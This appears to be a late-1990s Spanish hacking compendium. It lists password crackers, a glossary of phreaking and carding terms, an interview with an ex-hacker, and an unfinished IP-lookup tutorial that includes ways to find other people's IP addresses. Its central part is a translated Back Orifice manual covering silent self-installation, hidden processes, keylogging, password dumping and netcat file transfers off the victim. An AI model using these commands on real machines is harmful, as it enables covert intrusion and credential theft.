Herramienta que escribe y lee datos de conexiones TCP/IP. w95/NT. W95/UNIX Ing.Versión Unix

Netpack v2.0

Conjunto de utilidades. Ing.

W95/NT

Hacker's Utility

Muchas utilidades y descodificadores de pass. Ing. o Ital.

Win95/NT

Date Dictionary Generador de listas, o diccionarios para los crackeadores de Dos Creator passwords. Ing. Wordlist Maker

Creador de listas de palabras de Ing.

Diccionario

Un diccionario grande para utilizarlo para los crackeadores de Dos passwords. .

Win3.x.

Super Diccionario Uno de los diccionarios más grandes. !!!!3'8Mb.¡¡¡

-

Manipulador Passwords

Dos

NETLAB95

de

Descodifica y modifica el fichero /etc/passwd. Esp.

Conjunto de utilidades para chequer Redes, funciones finger, ping, W95 etc...

GLOSARIO Administrador: Persona que se encarga de todas las tareas de mantenimiento de un sistema informático. Backdoor: Puerta de entrada trasera a una computadora, programa o sistema en general. Sirve para acceder sin usar un procedimiento normal Bajar o Download: Extraer un programa de un BBS vía módem.

49 Black Box: Aparato que engaña a la central telefónica haciéndole creer que no se levantó el teléfono cuando en realidad se está produciendo una comunicación Blue Box: Aparato (o programa de computadora) que emite tonos multifrecuencias que permite controlar las centrales telefónicas. Se utiliza para lograr comunicaciones gratuitas, entre otras cosas. Boxes: Circuitos preparados para realizar phreaking. Destacan: o o o

Bluebox => Para llamar gratis Redbox => Emula la introducción de monedas en teléfonos públicos Blackbox => El que llame a un teléfono con este dispositivo no pagará la llamada.

Bug: Un error en un programa o en un equipo. Se habla de bug si es un error de diseño, no cuando la falla es provocada por otra cosa. Bustear: Precinto o incubación de un BBS por parte de la policía. Calling Card: Tarjeta de crédito emitida por una compañía telefónica que permite hacer llamadas y pagarlas después. Carding: Uso de tarjetas de crédito de otras personas, generación de nuevas tarjetas de crédito para realizar pagos a sistemas de compra a distancia (principalmente). En general, cualquier actividad fraudulenta que tenga que ver con las tarjetas de crédito. Crack: Desprotección de un juego o programa. Cracking: Modificar un programa para obtener beneficios. Normalmente se basa en quitar pantallas introductorias, protecciones o, como en unas modificaciones de cierto programa de comunicaciones, conseguir nuevos passwords de acceso a sistemas... Cortafuegos (Firewall): Computadora que registra todos los paquetes de información que entran en una compañía para, una vez verificados, derivarlos a otra que tiene conexión interna y no recibe archivos que no provengan de aquella. Es como un embudo que mira si la información que desea entrar a un servidor tiene permiso para ello o no. Los hackers deben contar con gran creatividad para entrar ya sea buscando un bug (error de diseño) o mediante algún programa que le permita encontrar alguna clave válida. Cyberpunk: Corriente literaria dentro de la ciencia-ficción que, entre otras cosas, se destaca por incorporar a sus argumentos el uso de la tecnología de las redes de computadoras. Dial-up: Línea de datos que permite a un usuario acceder por módem a una red o a una computadora.

Facke: Todas aquellas versiones de programas que han sido manipuladas de tal manera que figuran como versiones superiores a la original sin serlo. Guest: Cuenta pública de un sistema, para que la use alguien que no tiene cuenta propia.

50 Gusano: Programa que se reproduce, sin infectar a otros en el intento. Group: Grupos de personas que unen sus fuerzas para ‘suplier’ juegos o programas. Hacking: Acto de hackear. Básicamente consiste en entrar de forma ilegal en un sistema, para obtener información. No conlleva la destrucción de datos ni la instalación de virus, pero pueden instalarse troyanos que proporcionen passwords nuevos. También consiste en llevar una vida acorde con el hackmode. Hackmode: Modo de actuar del hacker. No tiene por qué estar relacionado con las computadoras, es más bien un modo de interpretar la vida. Consiste en: o o o

No pagar lo que no es estrictamente necesario o pagar de forma "poco corriente". Ser un poco "paranoico". Actuar acorde con costumbres rigurosamente calculadas.

Handle: Seudónimo usado en vez del nombre verdadero. Ingeniería social: Arte de convencer a la gente de entregar información que no corresponde. Lamer: Tonto, persona con pocos conocimientos. Principiante Login: Procedimiento de identificarse frente a un sistema para luego usarlo. Este identificativo más el password o clave te permite acceder a información restringida. Loops: Circuitos. Un loop ( o bucle) de teléfonos son dos teléfonos que se comunican entre sí. Operador: Persona que usa una computadora. A menudo se llama 'operador' al administrador del sistema. Nukear: Anular un programa de un BBS recién ‘subido’, por ser antiguo y carecer de interés. Outdial: Modem de salida dentro de una misma red, que permite a un usuario de la misma salir a la red telefónica convencional. Los que permiten hacer llamadas a larga distancia se llaman 'global Outdial' (Outdial globales) o GOD. Packet switching: Conmutación de paquetes. Password: Clave. Palabra que sirve para verificar que un usuario es realmente quien dice ser. Por eso mismo, el único que debe conocerla es ese mismo usuario. PBX: Private Branch Exchange. Centrales telefónicas internas de empresas Patch o Parche: Modificación de un programa ejecutable para solucionar un problema o para cambiar su comportamiento. Petar: Anular. Este término se utiliza en el supuesto de que los sistemas utilizados para ‘tracear’ de un BBS, se hayan anulado o caducado.

51 Payload: Efecto visible de un software maligno. Phreaking: Acto de llamar por teléfono gratuitamente y la realización de modificaciones a los aparatos telefónicos con el fin de obtener algún tipo de beneficio. Subir o Upload: Enviar un programa a un BBS vía módem. Tracear: Seguimiento exhaustivo. Se utiliza cuando se intenta desproteger un programa y se tiene instalado un Debugger. Este término también es utilizado en caso de que la línea telefónica esté pinchada por la policía. Trader: Persona que ‘sube’ y ‘baja’ continuamente programas y juegos de BBS. Virii: Suele encontrarse en textos en inglés. Es la acción de crear virus. Warez: Programas comerciales ofrecidos gratuitamente. Lo que se conoce popularmente como "pirateo". LA INFORMACIÓN FUE EXTRAÍDA DE LOS SIGUIENTES SITIOS WEB

http://cultdeadcow.com http://diarioit.comftp://ftp.cdrom.comftp://ftp.coast.nethttp://hertz.njit.edu/%7ebxg3442/temp. htmlhttp://www.alpworld.com/infinity/voidneo.htmlhttp://www.danworld.com/nettools.htmlhttp://www.eskimo.com/~nwps/index.htmlhtt p://www.geocities.com/siliconvalley/park/2613/links.html http://www.ilf.net/Toast/ http://www.islandnet.com/~cliffmcc http://www.simtel.net/simtel.net http://www.supernet.net/cwsapps/cwsa.html http://www.trytel.com/hack/ http://www.tucows.com http://www.windows95.com/apps/ http://www2.southwind.net/%7emiker/hack.html

52 BackOrifice Sistema v1.20 (30-7-1998)

de

administracion

remota

Back Orifice es una aplicacion cliente-servidor que permite al software cliente monitorizar , administrar , y realizar otras acciones de red y multimedia en la maquina que esta ejecutando el servidor. Para comunicarse con el servidor , tanto el cliente basado en texto como en graficos pueden ejecutarse en cualquier maquina con Microsoft windows. El servidor solo funciona actualmente en Windows 95/98. Este paquete contiene: bo.txt (documentacion) bo_esp.txt (Este documento) Plugin.txt (documentacion de programacion de extensiones para el servidor) boserve.exe (Servidor Auto-Instalable de Back Orifice) bogui.exe (Cliente grafico para BO) bocliente (cliente en modo texto), boconfig.exe (utilidad para configurar el nombre del ejecutable , el puerto,el password y la extension predeterminada para el servidor BO) melt.exe (un descompresor) frezze.exe (un compresor) Para instalar el servidor , este tan solo necesita ser ejecutado. Cuando el ejecutable del servidor se ejecuta , se instala a si mismo , y se borra. Esto es util en entornos de red, donde el servidor puede ser instalado en una maquina , simplemente copiando el ejecutable del servidor en el directorio Startup (o Inicio, en el caso español) , donde sera instalado y luego borrado. Una vez que el servidor esta instalado en una maquina, se iniciara cada vez que la maquina re-arranque. Para actualizar una copia de BO de forma remota , simplemente manda la nueva version del servidor al host remoto, y usa el comando Process spawn para ejecutarlo. Cuando se ejecuta, el servidor automaticamente mata cualquier proceso que se llame como el programa a instalar, e intenta instalarse sobre la vieja version, se autoejecuta desde su posicion de instalacion, y borra el ".exe" que acaba de ejecutar. Antes de la instalacion , algunos de los aspectos del servidor pueden ser configurados. El nombre de fichero que usa el BO para instalarse a si mismo, el puerto en el que estara escuchando el servidor, y la password usada para encriptar pueden ser configurados con la utilidad boconf.exe. Si el servidor no se configura , usara el puerto 31337, sin password (aunque las comunicaciones siguen estando encriptadas), y se instala a si mismo como ".exe" (espacio punto exe) El cliente se comunica con el servidor via paquetes UDP encriptados. Para una comunicacion con exito , el cliente necesita mandar al mismo puerto al que esta escuchando el servidor , y la password del cliente debe ser la misma con la que esta configurado el servidor. El puerto al que el cliente manda sus paquetes puede ser establecido con la opcion -p tanto en el cliente grafico como en el de texto. Si los paquetes estan siendo filtrados o existe un firewall , puede ser necesario mandar desde un puerto que no sea filtrado y/o bloqueado. Ya que las comunicaciones por UDP son sin conexion , los paquetes pueden ser bloqueados tanto en su camino hacia el servidor como en la vuelta hacia el cliente.

53 Las acciones son realizadas en el servidor mandando comandos desde el cliente a una direccion ip especifica. Si la maquina servidora no esta en una direccion IP fija (caso habitual si se accede a traves de Infobirria), puedes localizarla utilizando el barrido o los comandos de barrido (sweep) en los cliente usando el dialogo "ping..." o poniendo una direccion IP destino del tipo "1.2.3.*". Si se barre una lista de subredes , cuando una maquina con el servidor instalado responde , el cliente mirara en el mismo directorio que contiene la lista de subredes y mostrara la primera linea del primer archivo que encuentre con el nombre de archivo de la subred. Las ordenes actualmente implementadas en BO se listan abajo. Algunos de los nombres pueden ser diferentes entre la version texto y grafica de los clientes, pero la sintanxis es la misma para practicamente todos los comandos. Mas informacion sobre cualquier orden se puede conseguir usando el comando "help ". El cliente grafico pone las etiquetas de los dos campos parametro con una descripcion de los argumentos que cada orden acepta, cuando se selecciona ese comando de la lista de ordenes(Command List) Si parte de la informacion requerida no se proporciona con la orden , el servidor devolvera el error "Missing data". Las ordenes de BO son: (Cliente Grafico/Cliente Texto) App add/appadd Lanza una aplicacion basada en texto en un puerto tcp. Esto permite que tengas el control de una aplicacion de texto o MS-DOS desde una sesion de telnet (por ejemplo , command.com) App Hace que una aplicacion deje de esperar conexiones

del/appdel

Directory Crea un directorio

create/md

Directory list/dir Lista los ficheros y directorios. Debes especificar un comodin si quieres que mas de un fichero sea listado. Directory Borra un directorio.

remove/rd

Export add/shareadd Crea una comparticion en el servidor. El icono de directorio o unidad exportado no se ve modificado por la el icono de la mano. Export Borra una comparticion.

delete/sharedel

Exports list/sharelist Lista los nombres de las comparticiones actuales, la unidad o directorio que esta siendo compartido , el acceso para esta comparticion , y el password para esta comparticion. File Copia un fichero

copy/copy

File Borra un fichero

delete/del

54 File find/find Busca en un arbol de directorios los ficheros que correspondan con los comodines especificados. File Comprime un fichero

freeze/freeze

File Descomprime un fichero

melt/melt

File Ver el contenido de un fichero de texto.

view/view

HTTP Deshabilita el servidor HTTP.

Disable/httpoff

HTTP Habilita el servidor HTTP

Enable/httpon

Keylog begin/keylog Graba las pulsaciones de tecla en la maquina servidora a un fichero de texto. El log muestra el nombre de la ventana en la que fue introducido el texto. Keylog end Parar la captura de teclado. Para terminar la captura desde el cliente texto, usa "keylog stop". MM Capture avi/capavi Captura video y audio (si se puede) desde cualquier dispoditivo de captura de video disponible a un fichero avi. MM Capture Captura un fotograma de video y lo graba en un fichero bmp

frame/capframe

MM Capture Captura una imagen de la pantalla de la maquina servidora en un fichero bmp MM List capture Muestra una lista de los dispositivo de captura de video. MM Toca un fichero wav

Play

Net Muestra las conexiones de entrada y salidas a la red Net Desconecta la maquina servidora de un recurso de red. Net Conecta la maquina servidora a un recurso de red.

screen/capscreen

devices/listcaps

sound/sound

connections/netlist

delete/netdisconnect

use/netconnect

Net view/netview Ve todos los interfaces de red , dominios , servidores , y comparticiones accesibles desde la maquina servidora.

55 Ping host/ping Ping a la maquina. Devuelve el nombre de la maquina y el numero de version del BO que tiene instalado. Plugin execute/pluginexec Ejecuta una extension BO. Ejecutar funciones que no se ajusten al interfaz de extensiones de BO ,causara el cuelgue del servidor. Plugin Le dice a una extension que pare y se retire.

kill/pluginkill

Plugins list/pluginlist Lista las extensiones activas o el valor de retorno de una extension que ha salido (terminado) Process Terminar un proceso.

kill/prockill

Process Muestra los procesos en ejecucion.

list/proclist

Process spawn/procspawn Ejecuta un programa. Desde el gui, si el segundo parametro se especifica,el proceso sera ejecutado como un proceso normal , visible. Si no , sera ejecutado escondido o camuflado Redir Redirecciona las conexiones tcp entrantes o paquetes udp a otra direccion IP.

add/rediradd

Redir Para la redireccion de puerto.

del/redirdel

Redir Lista todas las redirecciones de puerto.

list/redirlist

Reg create key/regmakekey Crea una clave en el registro. NOTA; Para todos los comandos de registro, no especificar los \\ del final para los valores del registro. Reg Borra una clave del registro.

delete

key/regdelkey

Reg Borra un valor del registro.

delete

value/regdelval

Reg list Lista las subclaves de una clave del registro.

keys/reglistkeys

Reg list Lista los valores de una clave de registro.

values/reglistvals

Reg set value/regsetval Establece un valor para una clave de registro. Los valores son especificados como un tipo seguidos de una coma , y despues el dato del valor. Para valores binarios (Tipo B) el valor es una

56 serie de dos digitos con valores hexadecimales. Para valores DWORD (tipo D) el valor es un numero decimal.Para valores de cadena (tipo S) el valor es una cadena de texto. Resolve host/resolve Resuelve la direccion IP de una maquina relativa a la maquina servidor. El nombre de la maquina puede ser un nombre internet o de red local. System dialogbox/dialog Crea una caja de dialogo en la maquina con el texto especificado , y un boton "ok". Puedes crear tantas cajas de dialogo como quieras, ellas sencillamente iran en cascada frente a la caja anterior. System info/info Muestra informacion del sistema de la maquina servidora. La informacion mostrada incluye el nombre de la maquina , usuario actual , tipo de CPU,memoria total y disponible, informacion de la version de windows , e informacion sobre las unidades (fijas , CD-rom, removible,remota) , y para las unidades fijas , el tamaño y espacio libre. System Bloquea la maquina servidora.

lockup/lockup

System passwords/passes Muestra las passwors en cache para el usuario actual y la password de su salvapantallas. Pueden tener basura enganchada al final. System Apaga la maquina y la reinicia.

reboot/reboot

TCP file receive/tcprecv Conecta el servidor a una direccion IP/Puerto y guarda cualquier dato recibido de esa coinexion al fichero especificado. TCP file send/tcpsend Conecta la maquina servidora a una IP/Puerto especifico y manda el contenido de un fichero especifico , luego desconecta. NOTA: Para transferecias TCP de ficheros , la direccion IP y el puerto deben estar escuchando antes de que el comando de fichero tcp sea mandado , o fallara. Un utilidad para trasnferencias de este tipo es netcat , que esta disponible tanto para Unix como para Win32 Los ficheros pueden ser transferidos DESDE el servidor usando el comando tcp dile send , y netcat con una sentencia del tipo : netcat -l -p 666 > fichero. Los ficheros pueden ser transferidos AL servidor usando el comando tcp file receive command y netcat con una sentencia del tipo : netcat -l -p 666 < fichero. NOTA: la version win32 de netcat no desconecta ni sale cuando encuentra el fin del fichero de entrada. Despues de que el contenido del fichero ha sido transferido , termina el netcat con ctrl-c o ctrl-break. BOConfig:

57 BOConfig.exe te permite configurar las opciones para un servidor BO antes de que se instale. Te pregunta el nombre del ejecutable , cual es el nombre que BO usara para instalarse en el directorio del sistema. No tiene porque terminar en .exe , pero no agregara .exe si no le das una extension de fichero. Despues te pregunta por una descripcion del fichero .exe si no le das una extension exe que describira el exe en el registro donde sera iniciado durante el arranque. Entonces pregunta por el puerto por donde el servidor esperara los paquetes, y una password para la encriptacion. Para comunicarse el servidor con el cliente , el cliente debe tener la misma password. Puede ser nula. Despues pregunta por la extension para ejecutar al iniciar. Esto es una DLL y nombre de funcion , del tipo "DLL:_Funcion" de una extension de BO que se ejecutara automaticamente cuando el servidor se inicie. Puede ser nula. Entonces , te permite entrar cualquier argumento que quieras pasarle a la extension en arranque. Tambien puede ser nula. Y finalmente , te pregunta por la localizacion del fichero que sera unido al servidor , que sera escrito al directorio del sistema cuando el servidor se inicie. Este puede ser una extension del BO que se ejecute automaticamente. El servidor funcionara sin ser configurado. Por defecto , comunica al puerto 31337 sin password , e instalandose como " .exe" (TRADUCCION : Cthulhu) Back Orifice Eliminator Que le servirá para eliminar el Back Orifice de su computador. Instalación: Para instalar el Back Orifice Eliminator, baje y ejecute este archivo que es ejecutable y autodescomprimible (boe.exe). Este extrae el Back Orifice Eliminator a su disco duro (usted puede especificar donde), y la aplicación será ejecutada automáticamente y verá la documentación o guía. A partir de este momento, el Back Orifice Eliminator se ejecutará automáticamente cada vez que usted inicie su computador. El programa puede ser habilitado o deshabilitado a opción suya en cualquier momento usando el menú. Back Orifice Eradicator 1.00 Para limpiar el Back Orifice con un simple click. Al hacer click en Memory Scan para ver si el server está corriendo en su computador. Si es así, el mismo será removido y detenido de inmediato. Codetel recomienda revisar de inmediato la revisión en su sistema y proceder a eliminarlo si existe.

DANIEL SENTINELLI

El FBI llegó a mandar a Buenos Aires a uno de sus agentes de su central regional instalada en Montevideo. Uno de los más conocidos hackers argentinos, apodado El Chacal, aceptó revelar su identidad (se llama Daniel Sentinelli) para realizar una demostración pública, en un cybercafé del barrio de Belgrano, de lo fácil que puede resultar a un conocedor en informática llegar a redes supuestamente secretas de gobiernos como el estadounidense. "Estas redes (como la mayoría de las que están en Internet) tienen un sector público (de acceso directo e irrestricto) y uno privado (sólo para usuarios autorizados). Como ambos deben estar disponibles hay una brecha entre ellos que permite aprovechar los errores propios de los programas que usan". Si este asesor en informática de 30 años que en 1986 estuviera entre los fundadores de Piratas Unidos Argentinos decidió darse a conocer es porque cree que "se ha desatado una paranoia generalizada que puede derivar en una caza de brujas". Detrás de los hackers, dice, "no hay ninguna clase de criminales. En todo caso respondemos a una

58 curiosidad: la tecnología está ahí, al alcance de la mano y probar qué se puede hacer con ella es irresistible". "Hay quienes intentan meter miedo, como un periodista argentino que cuando salió a luz el caso del muchacho que entró a la red de la Marina estadounidense clamó poco menos que el mundo está en poder de los hackers y que cualquiera puede ahora entrar a redes ultrasecretas y disponer el envío de misiles nucleares." Sentinelli remata: "Internet no es segura porque en ella habitan los hackers. Nada de lo que usamos habitualmente es seguro: los autos, el sistema de gas, el de electricidad tienen fallas, pero no por eso dejamos de usarlos. Tratamos de informarnos de los riesgos de esas fallas. Con Internet debemos hacer lo mismo".

ENTREVISTA A EX-HACKER -Qué es un hacker?

Un hacker es una persona que investiga la tecnología de una forma no convencional. Lo que pasa es que a raíz de eso muchas veces, y ésta es la imagen que suele tener la gente de un hacker, por investigar la tecnología de una forma distinta termina metiéndose en lugares donde no estaba previsto que entrara y termina violando la seguridad de algunos sistemas. La definición más popular de hacker: "señor que viola sistemas de computadoras".

-Quién NO es hacker? Todos lo demás. El que no viola los sistemas de seguridad. El hacker tiene una actitud diferente hacia la tecnología, mira la tecnología de una forma diferente, no se conforma con leer el manual y usarla como se debe. El pibe que desde chico empieza a desarmar el autito, es un hackercito. A ese hay que cuidarlo, no se conforma en jugar como se debe. -Así empieza un hacker? desarmando autitos? Cómo llega uno a ser hacker?

Yo me acuerdo de algunos relojes despertadores que desarmé de chico y nunca pude volver a armar, supongo que podemos considerar que eran mis primeros pasos como hacker. En mi caso y en la mayoría de la gente de mi generación empezamos así, porque nos llamaba la atención la tecnología; hace 15 o 20 años atrás no había mucha información disponible sobre computadoras entonces tenías que buscarla vos, y vos meterte y vos analizar y programar e investigar y porque queríamos empezar a comunicarnos empezó a surgir el tema de las comunicaciones de los modems, en esa época 300 baudios con acopladores acústicos, una cosa bien primitiva y no había muchas cosas disponibles para la gente inclusive lo poco que había era solamente para empresas, entonces vos querías jugar con eso y la única alternativa que te quedaba era usar esos canales que no estaban disponibles para vos y tenías que hackear.

-Y cuál fue tu primer hackeo? No es tan claro, vos te ponés a probar cosas y lo que estás hackeando es tecnología, después si eso de casualidad tiene que ver con una empresa o "disparaste una guerra nuclear" o algo así, es como un accidente; pero uno trata de evitarlo.

59 La actitud es ésa, en verdad lo que estás haciendo es divirtiéndote con la tecnología -por lo menos apriori- después vas encontrando cosas y a partir de ahí seguís jugando. -Lo que muestran las películas, chicos o grandes entrando en sistemas que no deben, como la red, son pura fantasía o tienen algo de real? Yo, si tengo que elegirte una película que muestra un poquito mejor la actitud de un hacker y un poquito más cerca de la realidad y las cosas que hace, elijo "Hackers". Es muy difícil mostrar en una película lo que hace un hacker, sería muy aburrido mostrarlo porque es estar delante de una pantalla durante cuatro horas mirando un montón de números. La única película que muestra mejor el background o underground de lo que hace un hacker, mejor que "la red", es "Hackers". En La Red se muestra a Sandra Bulloc que es "buena", los hackers son "malos" y los del gobierno son "tontos". A mí particularmente no me parece así... me parece que es una campaña de prensa más que nada para decir: "los hackers son malos". Lo que te diría es que inclusive ahí muestran a las agencias del gobierno norteamericano como tontas cuando te diría que por ahí ellos son el peor hacker y ellos tienen licencia para ser hackers ¿o no? -Entonces hay hackers buenos y hackers malos?

No sé, yo te diría que tendríamos que separar los tantos, en función de la intención. Eso es lo mismo que si vos decís que un tipo se mete en medio de la selva porque está explorando, es lo mismo que un grupo de guerrilleros que se mete en medio de la selva. Son actitudes distintas. -Que los gobiernos en sus departamentos de defensa ya tienen hackers profesionales, es bastante público... Claro, yo insisto, para mí hackear es un hobby, una diversión, algo que hago porque me gusta. Cuando vienen y me dicen "bueno, y por qué no te ponés a robar bancos", pero eso es trabajar!; eso sería ser hacker con un objetivo en mente, entonces ahí estás laburando. Yo para laburar, doy consultoría. Es mucho más cómodo, es legal y gano también mucha plata, entonces, el tipo que está hackeando con un objetivo en mente, yo no sé si está hackeando. Está haciendo otra cosa y está usando el hacking como medio para llegar a otra cosa.

-Y vos qué has hecho, por qué se te conoce? Por qué se me conoce... y... porque estoy hace muchos años con esto, y porque fui el primero que se animó a hablar del tema...

-Pero escuchame, has viajado gratis, has aumentado un cero en tu cuenta... No, no, no, eso... lo hago trabajando, como corresponde. Laburo en lo que me gusta y la gente me paga. -Un hacker trabaja de conferencista, de consultor y nada más? o a veces lo contratan esas empresas o esos sistemas de inteligencia para hacer alguna cosa especial? No, bueno, yo asesoro empresas. Mi trabajo es asesorar empresas, esto de los seminarios es una cosa que organizó la gente del Programa Enlace, es más, es algo que no deja un rédito económico significativo, es algo más de difusión de la actividad y de tratar de transmitir una imagen más real de lo que es un hacker, tratar de cortar un poquito con el mito que están creando de los hackers

60 malos y todo esa historia porque sino un día de éstos va a venir "un astuto" que se va a querer ganar un par de galones y ya veo que me van a querer agarrar de las pestañas a mí acusándome de... no sé, de cualquier cosa. Mi trabajo es... yo soy consultor en informática en la parte de redes, doy consultoría sobre seguridad, asesoro a empresas, a organismos... ése es mi trabajo.

-A los asistentes a los seminarios, en general, qué es lo que más les interesa, lo que más preguntan, qué quieren saber? Justamente, el temario que se armó para estos seminarios está en función de unas encuestas que hizo la gente de Enlace por e-mail tratando de ver qué es lo que le interesaba a la gente, y lo que más le llama la atención es lo de la telefonía celeular, todo lo que se puede hacer sobre telefonía celular. No saben que se pueden pinchar, no saben cuán fácilmente, es más, conocemos que muchos políticos tampoco lo saben, si no no dirían las cosas que han dicho por celular, a pesar de que lo venimos mostrando en los medios desde hace años. Hay gente que obviamente le interesa mucho el tema internet, evidentemente...

-Y el comercio electrónico? Si, lo que pasa es que yo en los seminarios hablo mucho sobre criptografía, porque la idea también es, ya que estamos mostrando lo vulnerable que es la tecnología, la idea es mostrar cómo podés hacer vos individualmente para mantener tu privacidad; entonces tratamos de hablar de eso. -Existe la posibilidad de mantener esa privacidad? Sí, por supuesto que existe, a través del uso de criptografía; lo que pasa es que tenés que saber lo que estás haciendo, tenés que tener nociones claras de cómo funciona y esto es más complejo que mandar un mail simple con los datos y ya está, un poquito más de trabajo. La seguridad es costosa y la seguridad implica un poquito de trabajo, en todo sentido.

-Y tenés alguna presión de empresas, te siguen, te molestan, has tenido problemas con la justicia? No al contrario, yo he asesorado a la justicia en algunos casos; algunos jueces me han llamado para que los ayude a entender algunos problemas técnicos, hay veces en que a los jueces le llegan causas por temas de tecnología y me han llamado para que les de una mano.

-Seguís "pagando el teléfono"? Sí, yo pago el teléfono para mi uso normal, si bien hemos investigado tecnología para no hacerlo; lo que pasa es que, bueno...

-Para ir terminando, qué hace que un hacker sea mejor que otro hacker? Mirá, creo que es algo que se define en función de las cosas que hacés y de cómo las hacés, lo que pasa es que no hay un organismo central de calificación de hackers que designe puntaje, pero

61 hay una cosa tácita de que la gente se conocen entre sí y obviamente existen ciertas rivalidades... no muchas veces, así un poco simpáticas, en joda. Pero a mí me llama la atención un tipo cuando hace algo de manera distinta más que qué hace, es la forma en que lo hace lo que te llama la atención, porque se le ocurrió una idea brillante, una forma brillante de hacer, aunque sea una pavada; pero un uso brillante de una tecnología, un uso novedoso, un uso que a nadie se le hubiera ocurrido, ése es un hacker admirable.

-Y de ésas has hecho algunas? Y bueno, man, te imaginás que en los quince años que venimos haciendo cosas, acordate que empezamos cuando vos le hablabas a alguien de que tenías una computadora en tu casa y te miraban y te decían qué, ¿está llena de lucecitas y de cintas?. Empezamos ahí a hacer cosas, muchos... así que tenemos un historial...

1) ¿Qué son y cómo funcionan los números IP? 2) ¿Qué son los DNS? 3) ¿Puedo obtener un dominio propio para mi página web? 4) Cómo hacer pruebas de conexión sin estar en Internet. (Conectar a una PC consigo misma, LOOPBACK) 5) Cómo averiguar el IP de un servidor a partir de un dominio. (mediante PING) 6) Cómo averiguar el IP de alguien a través del ICQ. (con ISoaQ 6.0) 7) Cómo averiguar el IP de alguien a través del CHAT. 8) Cómo averiguar el IP de alguien a través de un e-mail recibido. 1) ¿Qué son y cómo funcionan los números IP?1) ¿Qué son y cómo funcionan los números IP? Desde hace ya tiempo que Internet esta disponible para el público masivo, pero eso no significa que dicho público sepa realmente cómo funciona. Por suerte no hace falta saberlo para aprovecharla, pero nunca está de más una explicación. Básicamente, esta red está basada en el envío de datagramas. Un datagrama es un "paquete" de datos que parte de una computadora hacia otra. Cada datagrama contiene, además de los datos a enviar, y otras cosas, la información tanto de la ubicación (dirección) del emisor cómo la del receptor, de un modo similar a lo que escribimos en el sobre de una carta del correo convencional. Pero, ¿cómo se puede definir la dirección de una computadora? Toda PC que esté en red tiene al menos una "dirección virtual", que consiste en un número que la identifica y diferencia de todas las demás máquinas de la red, es decir, ninguna otra PC tendrá el mismo número, aún cuando dicha red abarque a todo el planeta, como en el caso de Internet. Este número identificatorio ocupa tan sólo cuatro bytes, y se suele escribir de esta forma: XXX.XXX.XXX.XXX (cada XXX es un número entre 0 y 255). Como se imaginarán, este número se llama "Número IP". Para que una computadora se comunique con otra (le envíe uno o más datagramas) es imprescindible que la emisora conozca el IP de la receptora. Si tenemos una PC conectada a 2 redes simultáneamente (por ejemplo, a la red interna de la oficina y a Internet), tiene 2 números IP, uno para comunicarse por Internet y el otro para la red de la oficina. Entonces surge el concepto de "Interface de Red". Una interface de red es el elemento que conecta a una PC con una Red. En el ejemplo, las dos interfaces son el Módem y la Placa de red. Por lo tanto, no es cada computadora la que tiene un numero IP, sino cada interfaz de red. Nuestro proveedor de Internet puede disponer de X números IP, que son los que usarán los usuarios que se conecten a través de él. Cuando nuestra PC se conecta a Internet, se comunica a uno de los modems del proveedor y recibe asignado el IP que utilizará durante esa llamada. En resumen, cada vez que nos conectamos a internet se nos asigna uno de los números IP disponibles en nuestro proveedor, por eso nuestro IP es diferente en cada llamada. A esto se lo llama "IP Dinámico". Lo contrario de IP Dinámico, es lógicamente, el IP fijo. Este es el caso de las computadoras que están conectadas directamente a Internet por una placa de red.

2) ¿Qué son los DNS? Un sitio Web, es un conjunto de documentos que se encuentran guardados en una computadora (un servidor). Este servidor tiene un número IP, que nuestra PC tiene que conocer para poder enviarle el pedido de los archivos HTML y las imágenes (en otras palabras, las páginas). ¿Pero como visito un sitio web si no sé el número IP de la computadora en la que está alojado? Existe en internet, un servicio llamado "Servicio de nombres de dominio" o "Domain Name Service" (DNS), que consiste en poner un nombre "amigable" a cada dirección IP, para permitirnos recordarlas fácilmente.

Cuando tratamos de acceder a, por ejemplo, la página de Yahoo, nuestra computadora solicita automáticamente a un servidor DNS que traduzca "www.yahoo.com" (el nombre de dominio) a su numero IP (que es 216.32.74.52) y recién entonces podremos comunicarnos con el sitio. En un servidor DNS, hay una gran "base de datos" en donde cada dominio tiene su número IP correspondiente. Y cualquier PC de la red puede consultarla. (de hecho lo hace automáticamente cada vez que visitamos un sitio)

3) ¿Puedo obtener un dominio propio para mi página web? (Limitaciones del DNS) Como dijimos, un servidor DNS tiene para cada dominio un equivalente numero IP. Por eso, para tener un dominio propio, se necesita que nuestra página esté alojada en una computadora con IP fijo. Ya que si no fuera así, el servidor DNS nunca podría determinar su número IP (por que este variaría a cada rato). Es por eso que no es posible para los usuarios telefónicos normales de Internet tener un dominio propio. Cuidado, no se debe confundir el concepto de "dominio propio" con el de página propia. Es posible tener página propia en internet, que en realidad, consiste en alojar nuestros documentos en un subdirectorio dentro de un servidor gratuito. (Como Geocities o Xoom)

4) Cómo hacer pruebas de conexión sin estar en Internet. (Conectar a una PC consigo misma, LOOPBACK) Por último, en todos los Sistemas Operativos hay una interface de red "virtual". Esta interface llamada "LOOPBACK" hace referencia a si misma. El número IP de esa interface es "127.0.0.1". O sea, si cualquier PC trata de conectarse con "127.0.0.1" estaría tratando de conectarse consigo misma. Este numero IP no varía, estemos conectados a Internet o no. 5) Cómo averiguar el IP de un servidor a partir de un dominio (mediante PING). La manera más fácil de obtener el numero IP de una computadora teniendo el nombre de su dominio es ejecutando el comando PING bajo DOS: (Ping viene junto con Windows 95/98) Por ejemplo, obtener el IP de Yahoo usando PING se vería así: c:\>ping www.yahoo.com Haciendo ping a www.yahoo.com [216.32.74.52] con 32 bytes de datos: Respuesta desde 216.32.74.52: bytes=32 tiempo=687ms TDV=239 Respuesta desde 216.32.74.52: bytes=32 tiempo=723ms TDV=239 Respuesta desde 216.32.74.52: bytes=32 tiempo=671ms TDV=239 Respuesta desde 216.32.74.52: bytes=32 tiempo=668ms TDV=239 Estadísticas de ping para 216.32.74.52: Paquetes: enviados = 4, Recibidos = 4, perdidos = 0 (0% loss), Tiempos aproximados de recorrido redondo en milisegundos: mínimo = 668ms, máximo = 723ms, promedio = 687ms c:\> Además del número IP (que esta entre corchetes), PING me indica cuanta demora hay entre mi módem y la computadora de Yahoo, medida en milisegundos (690 ms aprox. en mi caso). La utilidad más importante del programa Ping es la de asegurarse que hay comunicación con otra computadora de la red. (Si no fuera posible la comunicación, Ping avisaría que el tiempo de espera se ha agotado.)

6) Cómo averiguar el IP de alguien a través del ICQ 99.

De lo explicado anteriormente se deduce que sólo quienes están On Line tiene un número de IP.

